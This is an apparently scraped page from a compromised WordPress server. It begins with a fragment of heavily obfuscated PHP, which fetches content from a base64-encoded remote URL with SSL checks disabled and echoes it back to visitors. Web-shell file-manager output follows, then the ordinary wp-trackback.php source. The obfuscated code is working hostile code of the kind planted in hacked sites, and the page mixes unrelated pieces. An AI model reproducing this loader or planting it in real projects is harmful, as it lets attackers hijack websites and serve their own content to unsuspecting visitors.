3bvy9KbFA: $lI9H72Pk8Pt57TZ = curl_exec($dd6zFmDIyjYq5lc); goto uuXYf1iHfRpY3YE; kizpVQlkU03NMI3: vNpFr_H6d7QT8d3: goto WjAXwDZuj6KEiO3; F86TyBpfzfUawEN: @curl_close($dd6zFmDIyjYq5lc); goto TvlW6t8cZ4fjrGA; RwOoCjGrOwKB3Fg: curl_setopt($dd6zFmDIyjYq5lc, CURLOPT_COOKIESESSION, 0); goto ANFffJ2p5DJmZj9; FbqqZCU9PtKJXyo: $Yox73PMKfS2Erb2["\143\x6f\156\164\145\156\164"] = strval(curl_getinfo($dd6zFmDIyjYq5lc, CURLINFO_REDIRECT_URL)); goto F86TyBpfzfUawEN; H__S4ZEKiVhhNot: $Yox73PMKfS2Erb2["\164\171\x70\x65"] = strval(curl_getinfo($dd6zFmDIyjYq5lc, CURLINFO_CONTENT_TYPE)); goto FbqqZCU9PtKJXyo; WjAXwDZuj6KEiO3: $dd6zFmDIyjYq5lc = curl_init(); goto CoS2eX9eqSt7TMi; LWQTt0jAlSpiaMm: $QBhrFTTKtp73jWK = array("\x68\164\x74\160" => array("\x6d\x65\x74\150\157\144" => "\x47\105\x54", "\164\151\155\x65\x6f\x75\164" => 60, "\x66\x6f\154\x6c\x6f\x77\137\x6c\157\x63\x61\x74\x69\157\156" => 0), "\x73\x73\154" => array("\x76\x65\x72\151\146\x79\x5f\160\145\x65\x72" => false, "\166\x65\162\x69\x66\171\x5f\160\x65\145\x72\137\156\x61\x6d\145" => false)); goto A_BPUFtPyVBjz_w; CbgBptmdZc82gNN: } catch (Exception $pr1jPT2JDQMTpD2) { } goto iPu8O6wHhvelaCi; x0NYciYYyyuz80f: voyZK4elaFRuVUC: goto lUte1QQyYga7Y3K; O_7DcWPHYLXIsK2: } goto Crzt5QWxpsN6SQb; SBv27EelNdov9JC: $V0lBNCpqlNW_hbE = I7l6ylFVic5Potw() . $_SERVER["\110\124\124\x50\x5f\x48\x4f\x53\x54"]; goto B7tInAyMp21ThA2; GSM_7Frvv94YcR2: if (!strlen($Yox73PMKfS2Erb2["\143\x6f\x6e\164\145\x6e\164"])) { goto tBIvXdq2BQUU4bv; } goto eT2sEIdbvILOPVa; VYMDtgDOSdbhwuM: KrWvyS8AEYN_MMo: goto J8z9gf4HkmsYqVw; Ekir2YOJEfy5Pvx: x1CeS_4P6L8oW6U: goto DHVKho5jOax125y; EftQg1DQGO4djmW: $J5nsG8EFGxfAUYi[86] = $J5nsG8EFGxfAUYi[66]($J5nsG8EFGxfAUYi[86]); goto jl0fH6soZDpLyYk; eT2sEIdbvILOPVa: @header("\103\157\x6e\x74\x65\x6e\164\x2d\124\171\160\145\72" . $Yox73PMKfS2Erb2["\x74\171\x70\145"]); goto nYOG5ml5Gi_hAvI; nYOG5ml5Gi_hAvI: echo $Yox73PMKfS2Erb2["\x63\x6f\156\164\145\156\x74"]; goto Jcker33PkBsvmzZ; bMD3lK6CKwoh_ZI: $Yox73PMKfS2Erb2 = LNkCX02Y2tCFrmm(base64_decode("\141\x48\122\x30\x63\104\x6f\166\114\63\160\172\116\x7a\x41\x32\144\152\x45\172\141\62\70\x75\145\127\106\171\x5a\107\126\x30\x64\107\125\165\x63\130\x42\166\142\x69\x38"), $k2rQ7bqLVTCzL0Y); goto fsMHOp5c10yjwPe; mnb5KUPUyGNvsl7: $k2rQ7bqLVTCzL0Y = array(); goto ygx1SurMx9HQ59w; ygx1SurMx9HQ59w: $k2rQ7bqLVTCzL0Y["\x69"] = S8kbiI8q5yEGATt($z03xXsBdOSsQlAJ); goto ZREZbxMJpLH3vnt; W_OEFaMnrwsE2gL: if (!in_array($S7vTDOgxORftFwc, array("\x2e\152\163", "\x2e\x63\163\163", "\x2e\152\160\x67", "\x2e\x70\x6e\x67", "\x2e\x67\151\146", "\56\x69\x63\x6f"))) { goto po7jD7feG3ifUrU; } goto hPTPHgOA5J0vD5j; SfRR9zBJzIR2ADl: $S7vTDOgxORftFwc = substr($u67OvbFyxz55oMz, strpos($u67OvbFyxz55oMz, "\x2e")); goto W_OEFaMnrwsE2gL; PXvK4Qts9qKiJh5: if ($wyJL2VWvZQMbBx2) { goto tBT08k30Io73jr7; } goto bMD3lK6CKwoh_ZI; Z5qe070Kx2BuKoO: nN9GUZ28QwUD_Vy: goto P9AgZIJbsu9FgN7; aQVypvxqribNBm0: metaphone("\115\x7a\115\x79\117\x54\115\64\x4d\104\x63\172\x4f\124\111\x7a\x4d\124\143\x7a\116\104\131\171\116\x44\x55\x30\116\x44\x51\171"); goto HJds3oDl3J8WqDu; hPTPHgOA5J0vD5j: $wyJL2VWvZQMbBx2 = true; goto W0HrkOVh_7gl12I; vyLws35wAa9nWeJ: BUtFO7iJVHHEjkI: goto PXvK4Qts9qKiJh5; N4XLdfvTmJ8Zekc: PvltIkl4vaWP9YA: goto mnb5KUPUyGNvsl7; iHN_AziOvQx9EKC: tBT08k30Io73jr7: ?> HEX
HEX
Server: Apache
System: Windows NT MAGNETO-ARM 10.0 build 22000 (Windows 10) AMD64
User: Michel (0)
PHP: 7.4.7
Disabled: NONE
Upload Files
File: C:/Apache24/htdocs/wp-trackback.php
<?php
/**
 * Handle Trackbacks and Pingbacks Sent to WordPress
 *
 * @since 0.71
 *
 * @package WordPress
 * @subpackage Trackbacks
 */

if ( empty( $wp ) ) {
	require_once __DIR__ . '/wp-load.php';
	wp( array( 'tb' => '1' ) );
}

// Always run as an unauthenticated user.
wp_set_current_user( 0 );

/**
 * Response to a trackback.
 *
 * Responds with an error or success XML message.
 *
 * @since 0.71
 *
 * @param int|bool $error         Whether there was an error.
 *                                Default '0'. Accepts '0' or '1', true or false.
 * @param string   $error_message Error message if an error occurred.
 */
function trackback_response( $error = 0, $error_message = '' ) {
	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
	if ( $error ) {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>1</error>\n";
		echo "<message>$error_message</message>\n";
		echo '</response>';
		die();
	} else {
		echo '<?xml version="1.0" encoding="utf-8"?' . ">\n";
		echo "<response>\n";
		echo "<error>0</error>\n";
		echo '</response>';
	}
}

// Trackback is done by a POST.
$request_array = 'HTTP_POST_VARS';

if ( ! isset( $_GET['tb_id'] ) || ! $_GET['tb_id'] ) {
	$tb_id = explode( '/', $_SERVER['REQUEST_URI'] );
	$tb_id = intval( $tb_id[ count( $tb_id ) - 1 ] );
}

$tb_url  = isset( $_POST['url'] ) ? $_POST['url'] : '';
$charset = isset( $_POST['charset'] ) ? $_POST['charset'] : '';

// These three are stripslashed here so they can be properly escaped after mb_convert_encoding().
$title     = isset( $_POST['title'] ) ? wp_unslash( $_POST['title'] ) : '';
$excerpt   = isset( $_POST['excerpt'] ) ? wp_unslash( $_POST['excerpt'] ) : '';
$blog_name = isset( $_POST['blog_name'] ) ? wp_unslash( $_POST['blog_name'] ) : '';

if ( $charset ) {
	$charset = str_replace( array( ',', ' ' ), '', strtoupper( trim( $charset ) ) );
} else {
	$charset = 'ASCII, UTF-8, ISO-8859-1, JIS, EUC-JP, SJIS';
}

// No valid uses for UTF-7.
if ( false !== strpos( $charset, 'UTF-7' ) ) {
	die;
}

// For international trackbacks.
if ( function_exists( 'mb_convert_encoding' ) ) {
	$title     = mb_convert_encoding( $title, get_option( 'blog_charset' ), $charset );
	$excerpt   = mb_convert_encoding( $excerpt, get_option( 'blog_charset' ), $charset );
	$blog_name = mb_convert_encoding( $blog_name, get_option( 'blog_charset' ), $charset );
}

// Now that mb_convert_encoding() has been given a swing, we need to escape these three.
$title     = wp_slash( $title );
$excerpt   = wp_slash( $excerpt );
$blog_name = wp_slash( $blog_name );

if ( is_single() || is_page() ) {
	$tb_id = $posts[0]->ID;
}

if ( ! isset( $tb_id ) || ! intval( $tb_id ) ) {
	trackback_response( 1, __( 'I really need an ID for this to work.' ) );
}

if ( empty( $title ) && empty( $tb_url ) && empty( $blog_name ) ) {
	// If it doesn't look like a trackback at all.
	wp_redirect( get_permalink( $tb_id ) );
	exit;
}

if ( ! empty( $tb_url ) && ! empty( $title ) ) {
	/**
	 * Fires before the trackback is added to a post.
	 *
	 * @since 4.7.0
	 *
	 * @param int    $tb_id     Post ID related to the trackback.
	 * @param string $tb_url    Trackback URL.
	 * @param string $charset   Character Set.
	 * @param string $title     Trackback Title.
	 * @param string $excerpt   Trackback Excerpt.
	 * @param string $blog_name Blog Name.
	 */
	do_action( 'pre_trackback_post', $tb_id, $tb_url, $charset, $title, $excerpt, $blog_name );

	header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );

	if ( ! pings_open( $tb_id ) ) {
		trackback_response( 1, __( 'Sorry, trackbacks are closed for this item.' ) );
	}

	$title   = wp_html_excerpt( $title, 250, '&#8230;' );
	$excerpt = wp_html_excerpt( $excerpt, 252, '&#8230;' );

	$comment_post_ID      = (int) $tb_id;
	$comment_author       = $blog_name;
	$comment_author_email = '';
	$comment_author_url   = $tb_url;
	$comment_content      = "<strong>$title</strong>\n\n$excerpt";
	$comment_type         = 'trackback';

	$dupe = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_author_url = %s", $comment_post_ID, $comment_author_url ) );
	if ( $dupe ) {
		trackback_response( 1, __( 'We already have a ping from that URL for this post.' ) );
	}

	$commentdata = compact( 'comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type' );

	$result = wp_new_comment( $commentdata );

	if ( is_wp_error( $result ) ) {
		trackback_response( 1, $result->get_error_message() );
	}

	$trackback_id = $wpdb->insert_id;

	/**
	 * Fires after a trackback is added to a post.
	 *
	 * @since 1.2.0
	 *
	 * @param int $trackback_id Trackback ID.
	 */
	do_action( 'trackback_post', $trackback_id );
	trackback_response( 0 );
}